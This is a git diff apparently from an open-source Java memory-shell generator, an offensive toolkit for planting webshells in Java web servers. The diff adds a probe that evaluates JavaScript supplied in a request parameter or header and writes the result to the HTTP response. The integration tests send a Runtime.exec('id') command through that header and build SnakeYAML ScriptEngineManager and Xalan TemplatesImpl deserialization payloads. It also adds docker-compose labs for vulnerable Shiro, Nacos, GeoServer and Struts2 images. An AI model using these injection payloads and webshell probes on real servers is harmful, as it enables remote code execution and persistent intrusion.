ByteBuddy()); + if (probeConfig.needByPassJavaModule()) { builder = ByPassJavaModuleInterceptor.extend(builder); } + if (probeConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + if (probeConfig.isStaticInitialize()) { + builder = StaticBlockSelfConstructorCall.extend(builder); + } + try (DynamicType.Unloaded unloaded = builder.make()) { return ClassBytesShrink.shrink(unloaded.getBytes(), probeConfig.isShrink()); } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index 03b480d0..0e94fa67 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator; import com.reajason.javaweb.probe.payload.ByteCodeProbe; import com.reajason.javaweb.probe.payload.CommandProbe; +import com.reajason.javaweb.probe.payload.ScriptEngineProbe; import com.reajason.javaweb.probe.payload.response.*; import com.reajason.javaweb.utils.ShellCommonUtil; import net.bytebuddy.ByteBuddy; @@ -31,17 +32,8 @@ public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeCo @Override protected DynamicType.Builder build(ByteBuddy buddy) { - String name; - Class getDataFromReqInterceptor; - if (probeContentConfig.getReqParamName() != null) { - name = probeContentConfig.getReqParamName(); - getDataFromReqInterceptor = getDataFromReqParamInterceptor.class; - } else if(probeContentConfig.getReqHeaderName() != null) { - name = probeContentConfig.getReqHeaderName(); - getDataFromReqInterceptor = getDataFromReqHeaderInterceptor.class; - }else{ - throw new GenerationException("responseBody probeShell must set headerName or paramName"); - } + String name = probeContentConfig.getReqParamName(); + Class getDataFromReqInterceptor = getDataFromReqInterceptor.class; Class writerClass = getWriterClass(); Class runnerClass = getRunnerClass(); return buddy.redefine(writerClass) @@ -60,6 +52,8 @@ private Class getRunnerClass() { return CommandProbe.class; case Bytecode: return ByteCodeProbe.class; + case ScriptEngine: + return ScriptEngineProbe.class; default: throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent()); } @@ -67,6 +61,8 @@ private Class getRunnerClass() { private Class getWriterClass() { switch (probeContentConfig.getServer()) { + case Server.SpringWebMvc: + return SpringWebMvcWriter.class; case Server.Jetty: return JettyWriter.class; case Server.Tomcat: @@ -93,26 +89,17 @@ private Class getWriterClass() { } } - static class getDataFromReqHeaderInterceptor { - @Advice.OnMethodExit - public static void enter(@Advice.Argument(value = 0) Object request, - @NameAnnotation String name, - @Advice.Return(readOnly = false) String ret) throws Exception { - try { - ret = ((String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name})); - } catch (Exception e) { - ret = null; - } - } - } - - static class getDataFromReqParamInterceptor { + static class getDataFromReqInterceptor { @Advice.OnMethodExit public static void enter(@Advice.Argument(value = 0) Object request, @NameAnnotation String name, @Advice.Return(readOnly = false) String ret) throws Exception { try { - ret = ((String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name})); + String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}); + if (p == null || p.isEmpty()) { + p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name}); + } + ret = p; } catch (Exception e) { ret = null; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ScriptEngineProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ScriptEngineProbe.java new file mode 100644 index 00000000..02e2b802 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ScriptEngineProbe.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.probe.payload; + +import lombok.SneakyThrows; +import net.bytebuddy.asm.Advice; + +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; + +/** + * @author ReaJason + * @since 2025/11/18 + */ +public class ScriptEngineProbe { + private final String script; + + public ScriptEngineProbe(String script) { + this.script = script; + } + + @Advice.OnMethodExit + public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception { + ScriptEngine js = new ScriptEngineManager().getEngineByName("js"); + if (js == null) { + return ret = "js engine is null"; + } + return ret = js.eval(data).toString(); + } + + @Override + @SneakyThrows + public String toString() { + return ScriptEngineProbe.exit(script, super.toString()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java new file mode 100644 index 00000000..d3a593fa --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/SpringWebMvcWriter.java @@ -0,0 +1,81 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/11/11 + */ +public class SpringWebMvcWriter { + + public SpringWebMvcWriter() { + try { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null); + Object request = invokeMethod(requestAttributes, "getRequest", null, null); + Object response = invokeMethod(requestAttributes, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java index 3fdb7ba7..81370be9 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/ShellCommonUtil.java @@ -34,7 +34,7 @@ public static void exit(@Advice.Argument(value = 0) Object obj, } } if (returnValue == null) { - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); } } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java index de9a4910..9909e716 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java @@ -5,10 +5,12 @@ import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.shelltool.command.CommandListener; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.type.TypeDescription; import org.junit.jupiter.api.Test; import org.objectweb.asm.ClassReader; @@ -23,10 +25,31 @@ * @since 2025/3/19 */ class CustomShellGeneratorTest { + @Test + @SneakyThrows + void testListener() { + byte[] bytes = new ByteBuddy() + .redefine(CommandListener.class) + .name(CommonUtil.generateShellClassName()).make().getBytes(); + String className = CommonUtil.generateShellClassName(); + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellType(ShellType.LISTENER) + .build(); + CustomConfig customConfig = CustomConfig.builder() + .shellClassName(className) + .shellClassBase64(Base64.getEncoder().encodeToString(bytes)) + .shellTypeDescription(TypeDescription.ForLoadedType.of(CommandListener.class)) + .build(); + byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes(); + + ClassReader classReader = new ClassReader(bytes1); + assertEquals(className, classReader.getClassName().replace("/", ".")); + } @Test @SneakyThrows - void test() { + void testFilter() { byte[] bytes = new ByteBuddy() .subclass(Object.class) .name(CommonUtil.generateShellClassName()).make().getBytes(); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java new file mode 100644 index 00000000..3112a139 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.memshell.server.Tomcat; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.platform.commons.util.ReflectionUtils; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import java.lang.reflect.Method; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/9/16 + */ +class ListenerGeneratorTest { + + public static class L { + public Object getResponseFromRequest(Object request) { + return null; + } + } + + public static class J { + public HttpServletResponse getResponseFromRequest(HttpServletRequest request) { + return null; + } + } + + public static class FakeRequest { + public Object response = "i'm a good boy"; + } + + @Test + void testNoGetResponseFromRequest() { + DynamicType.Builder builder = new ByteBuddy().redefine(Object.class); + Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world")); + } + + @Test + void testGetResponseFromRequestSignatureError() { + DynamicType.Builder builder = new ByteBuddy().redefine(J.class); + Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world")); + } + + @Test + @SneakyThrows + void test() { + String className = "hello.world"; + DynamicType.Builder build = ListenerGenerator.build(new ByteBuddy().redefine(L.class).name(className), Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(L.class), className); + Class clazz = build.make().load(getClass().getClassLoader()).getLoaded(); + Object obj = clazz.newInstance(); + Method getResponseFromRequest = clazz.getDeclaredMethod("getResponseFromRequest", Object.class); + getResponseFromRequest.setAccessible(true); + Object response = getResponseFromRequest.invoke(obj, new FakeRequest()); + assertEquals("i'm a good boy", response); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java b/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java new file mode 100644 index 00000000..79ee259b --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/probe/payload/ScriptEngineProbeTest.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.probe.payload; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2025/11/18 + */ +class ScriptEngineProbeTest { + + @Test + void test(){ + String hello = new ScriptEngineProbe("1 + 1").toString(); + assertEquals("2", hello); + } +} \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index c5352b67..8443232d 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -1,5 +1,5 @@ [versions] -asm = "9.8" +asm = "9.9" jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 bcel = "5.2" javax-servlet-api = "3.0.1" @@ -10,21 +10,21 @@ reactor-netty = "1.1.25" jackson = "2.19.0" jetbrains-annotations = "26.0.2" -byte-buddy = "1.17.7" -commons-io = "2.20.0" -commons-lang3 = "3.18.0" -commons-codec = "1.19.0" -logback = "1.5.18" -okhttp3 = "5.1.0" -fastjson2 = "2.0.58" +byte-buddy = "1.18.1" +commons-io = "2.21.0" +commons-lang3 = "3.19.0" +commons-codec = "1.20.0" +logback = "1.5.21" +okhttp3 = "5.3.0" +fastjson2 = "2.0.60" java-websocket = "1.6.0" -mockito = "5.19.0" +mockito = "5.20.0" hamcrest = "3.0" -junit-jupiter = "5.13.4" +junit-jupiter = "5.14.1" junit-pioneer = "2.3.0" -junit-platform = "1.13.4" -testcontainers = "1.21.3" +junit-platform = "1.14.1" +testcontainers = "2.0.2" [libraries] byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } @@ -54,7 +54,7 @@ junit-pioneer = { module = "org.junit-pioneer:junit-pioneer", version.ref = "jun junit-platform-launcher = { module = "org.junit.platform:junit-platform-launcher", version.ref = "junit-platform" } junit-platform-reporting = { module = "org.junit.platform:junit-platform-reporting", version.ref = "junit-platform" } testcontainers = { module = "org.testcontainers:testcontainers", version.ref = "testcontainers" } -testcontainers-junit-jupiter = { module = "org.testcontainers:junit-jupiter", version.ref = "testcontainers" } +testcontainers-junit-jupiter = { module = "org.testcontainers:testcontainers-junit-jupiter", version.ref = "testcontainers" } [bundles] jna = ["jna", "jna-platform"] diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index a329427e..cfe3d587 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -31,7 +31,9 @@ dependencies { testImplementation(libs.logback.classic) testRuntimeOnly(libs.junit.platform.launcher) testImplementation(libs.hamcrest) - testImplementation(libs.bundles.testcontainers) + testImplementation(libs.bundles.testcontainers) { + exclude(group = "net.java.dev.jna", module = "jna") + } } tasks.test { diff --git a/integration-test/docker-compose/cve/CVE-2016-4437-docker-compose.yml b/integration-test/docker-compose/cve/CVE-2016-4437-docker-compose.yml new file mode 100644 index 00000000..224f9a88 --- /dev/null +++ b/integration-test/docker-compose/cve/CVE-2016-4437-docker-compose.yml @@ -0,0 +1,7 @@ +services: + shiro: + image: vulhub/shiro:1.2.4 + entrypoint: "java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar" + ports: + - "8080:8080" + - "5005:5005" \ No newline at end of file diff --git a/integration-test/docker-compose/cve/CVE-2021-29442-docker-compose.yml b/integration-test/docker-compose/cve/CVE-2021-29442-docker-compose.yml new file mode 100644 index 00000000..a68cc303 --- /dev/null +++ b/integration-test/docker-compose/cve/CVE-2021-29442-docker-compose.yml @@ -0,0 +1,6 @@ +services: + web: + image: vulhub/nacos:1.4.0 + ports: + - "8848:8848" + - "5005:5005" \ No newline at end of file diff --git a/integration-test/docker-compose/cve/CVE-2024-36401-docker-compose.yml b/integration-test/docker-compose/cve/CVE-2024-36401-docker-compose.yml new file mode 100644 index 00000000..db59bf57 --- /dev/null +++ b/integration-test/docker-compose/cve/CVE-2024-36401-docker-compose.yml @@ -0,0 +1,6 @@ +services: + geoserver: + image: vulhub/geoserver:2.23.2 + ports: + - "8080:8080" + - "5005:5005" \ No newline at end of file diff --git a/integration-test/docker-compose/cve/s2-045-docker-compose.yml b/integration-test/docker-compose/cve/s2-045-docker-compose.yml new file mode 100644 index 00000000..6b38558e --- /dev/null +++ b/integration-test/docker-compose/cve/s2-045-docker-compose.yml @@ -0,0 +1,10 @@ +services: + struts2: + image: vulhub/struts2:2.3.30 + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/opt/cloudrasp-latest/cloudrasp/sophon.jar + volumes: + - /Users/reajason/IdeaProjects/sophon-rasp/release/cloudrasp-latest:/opt/cloudrasp-latest + ports: + - "8080:8080" + - "5005:5005" \ No newline at end of file diff --git a/integration-test/docker-compose/cve/s2-048-docker-compose.yml b/integration-test/docker-compose/cve/s2-048-docker-compose.yml new file mode 100644 index 00000000..385b8b12 --- /dev/null +++ b/integration-test/docker-compose/cve/s2-048-docker-compose.yml @@ -0,0 +1,10 @@ +services: + struts2: + image: vulhub/struts2:2.3.32-showcase + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/opt/cloudrasp-latest/cloudrasp/sophon.jar + volumes: + - /Users/reajason/IdeaProjects/sophon-rasp/release/cloudrasp-latest:/opt/cloudrasp-latest + ports: + - "8080:8080" + - "5005:5005" \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee10 b/integration-test/docker-compose/jetty/Dockerfile-ee10 index d9aaf36c..05dc88b0 100644 --- a/integration-test/docker-compose/jetty/Dockerfile-ee10 +++ b/integration-test/docker-compose/jetty/Dockerfile-ee10 @@ -1,6 +1,6 @@ FROM jetty:12.0-jre21 -RUN java -jar /usr/local/jetty/start.jar --add-modules=ee10-deploy +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee10-jsp,ee10-deploy EXPOSE 8080 diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee11 b/integration-test/docker-compose/jetty/Dockerfile-ee11 new file mode 100644 index 00000000..edf74011 --- /dev/null +++ b/integration-test/docker-compose/jetty/Dockerfile-ee11 @@ -0,0 +1,7 @@ +FROM jetty:12.1-jdk21 + +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee11-jsp,ee11-deploy + +EXPOSE 8080 + +CMD ["java", "-jar", "/usr/local/jetty/start.jar"] \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee8 b/integration-test/docker-compose/jetty/Dockerfile-ee8 index e9b2dbb4..c5fe6578 100644 --- a/integration-test/docker-compose/jetty/Dockerfile-ee8 +++ b/integration-test/docker-compose/jetty/Dockerfile-ee8 @@ -1,6 +1,6 @@ FROM jetty:12.0-jre21 -RUN java -jar /usr/local/jetty/start.jar --add-modules=ee8-deploy +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee8-jsp,ee8-deploy EXPOSE 8080 diff --git a/integration-test/docker-compose/jetty/Dockerfile-ee9 b/integration-test/docker-compose/jetty/Dockerfile-ee9 index 6a107226..94a79bc7 100644 --- a/integration-test/docker-compose/jetty/Dockerfile-ee9 +++ b/integration-test/docker-compose/jetty/Dockerfile-ee9 @@ -1,6 +1,6 @@ FROM jetty:12.0-jre21 -RUN java -jar /usr/local/jetty/start.jar --add-modules=ee9-deploy +RUN java -jar /usr/local/jetty/start.jar --add-modules=ee9-jsp,ee9-deploy EXPOSE 8080 diff --git a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml index c6dc2b07..c6c74a83 100644 --- a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml +++ b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee10.yaml @@ -7,6 +7,6 @@ services: - "8080:8080" - "5005:5005" environment: - JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 volumes: - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee11.yaml b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee11.yaml new file mode 100644 index 00000000..3aab6b6f --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-12-jre21-ee11.yaml @@ -0,0 +1,12 @@ +services: + jetty1221ee11: + build: + dockerfile: ./Dockerfile-ee11 + context: . + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/var/lib/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/wildfly/docker-compose-36.yaml b/integration-test/docker-compose/wildfly/docker-compose-36.yaml index ec3667ea..fec7af17 100644 --- a/integration-test/docker-compose/wildfly/docker-compose-36.yaml +++ b/integration-test/docker-compose/wildfly/docker-compose-36.yaml @@ -1,7 +1,7 @@ services: - wildfly30: - image: quay.io/wildfly/wildfly:30.0.1.Final-jdk17 - container_name: wildfly30 + wildfly36: + image: quay.io/wildfly/wildfly:36.0.0.Final-jdk21 + container_name: wildfly36 ports: - 8080:8080 - 5005:5005 diff --git a/integration-test/script/jboss_pid.sh b/integration-test/script/jboss_pid.sh index 81b85b68..7ab1f494 100755 --- a/integration-test/script/jboss_pid.sh +++ b/integration-test/script/jboss_pid.sh @@ -1,2 +1,19 @@ -#!/bin/bash -pgrep -f 'Main|jboss-modules.jar' | tr -d '\n' \ No newline at end of file +#!/bin/sh + +TARGET_PATTERN='Main|jboss-modules.jar' + +for pid_dir in /proc/*; do + if [ -d "$pid_dir" ] && ! [ -z "$(echo "$pid_dir" | sed 's|/proc/||' | grep -E '^[0-9]+$')" ]; then + PID=$(echo "$pid_dir" | sed 's|/proc/||') + CMDLINE_FILE="$pid_dir/cmdline" + if [ -r "$CMDLINE_FILE" ]; then + FULL_CMD=$(sed 's/\x0/ /g' "$CMDLINE_FILE") + if [ -z "$FULL_CMD" ]; then + continue + fi + if echo "$FULL_CMD" | grep -E -q "$TARGET_PATTERN"; then + echo $PID + fi + fi + fi +done \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 60945738..363bcb37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -29,6 +29,7 @@ public static void responseBytecodeIsOk(String url, String server, int targetJre .targetJreVersion(targetJreVersion) .debug(true) .shrink(true) + .staticInitialize(true) .build(); String reqParamName = "payload"; ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() @@ -57,6 +58,7 @@ public static void responseBytecodeWithoutPrefixIsOk(String url, String server, .targetJreVersion(targetJreVersion) .debug(true) .shrink(true) + .staticInitialize(true) .build(); String reqParamName = "payload"; ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() @@ -84,12 +86,13 @@ public static void responseCommandIsOk(String url, String server, int targetJreV .probeContent(ProbeContent.Command) .debug(true) .shrink(true) + .staticInitialize(true) .targetJreVersion(targetJreVersion) .build(); - String headerName = "X-Header"; + String headerName = "X-Header-CMD"; ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() .server(server) - .reqHeaderName(headerName) + .reqParamName(headerName) .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); String content = probeResult.getShellBytesBase64Str(); @@ -107,4 +110,36 @@ public static void responseCommandIsOk(String url, String server, int targetJreV )); } } + + @SneakyThrows + public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) { + ProbeConfig probeConfig = ProbeConfig.builder() + .probeMethod(ProbeMethod.ResponseBody) + .probeContent(ProbeContent.ScriptEngine) + .debug(true) + .shrink(true) + .staticInitialize(true) + .targetJreVersion(targetJreVersion) + .build(); + String headerName = "X-Header-Script"; + ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder() + .server(server) + .reqParamName(headerName) + .build(); + ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); + String content = probeResult.getShellBytesBase64Str(); + RequestBody requestBody = new FormBody.Builder() + .add("data", content) + .build(); + Request request = new Request.Builder() + .header("Content-Type", "application/x-www-form-urlencoded") + .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()") + .url(url + "/b64").post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + assertThat(response.body().string(), anyOf( + containsString("uid=") + )); + } + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index c392d4fe..69ebd420 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -8,11 +8,13 @@ import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.AgentJarPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.JarPacker; +import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; +import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; @@ -21,12 +23,12 @@ import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.Response; +import org.apache.commons.io.FileUtils; +import org.apache.commons.lang3.RandomStringUtils; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; import org.testcontainers.containers.Container; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.shaded.org.apache.commons.io.FileUtils; -import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; -import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; import org.testcontainers.utility.MountableFile; import java.io.IOException; @@ -84,13 +86,20 @@ public static Pair getUrls(String url, String shellType, String @SneakyThrows public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + shellInjectIsOk(url, server, null, shellType, shellTool, targetJdkVersion, packer, appContainer, pythonContainer); + } + + @SneakyThrows + public static void shellInjectIsOk(String url, String server, String serverVersion, String shellType, String shellTool, + int targetJdkVersion, Packers packer, + GenericContainer appContainer, GenericContainer pythonContainer) { Pair urls = getUrls(url, shellType, shellTool, packer); String shellUrl = urls.getLeft(); String urlPattern = urls.getRight(); ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); - MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); + MemShellResult generateResult = generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer); packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); @@ -100,6 +109,35 @@ public static void shellInjectIsOk(String url, String server, String shellType, @SneakyThrows public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; + if (packer.getInstance() instanceof AgentJarPacker || + packer.getInstance() instanceof AgentJarWithJREAttacherPacker || + packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) { + injectAgentJar(generateResult, shellTool, shellType, packer, appContainer); + return; + } + if (packer.getInstance() instanceof ScriptEngineJarPacker) { + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + content = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + jarPath + "\"]\n" + + " ]]\n" + + "]"; + } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { + String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); + content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; + } else { + content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + } + injectIsOk(url, shellType, shellTool, content, packer, appContainer); + log.info("send inject payload successfully"); + } + + private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer appContainer) throws IOException, InterruptedException { if (packer.getInstance() instanceof AgentJarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); Path tempJar = Files.createTempFile("temp", "jar"); @@ -107,7 +145,7 @@ public static void packerResultAndInject(MemShellResult generateResult, String u String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); FileUtils.deleteQuietly(tempJar.toFile()); - String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout(); + String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout().trim(); assertDoesNotThrow(() -> Long.parseLong(pidInContainer)); String stdout = 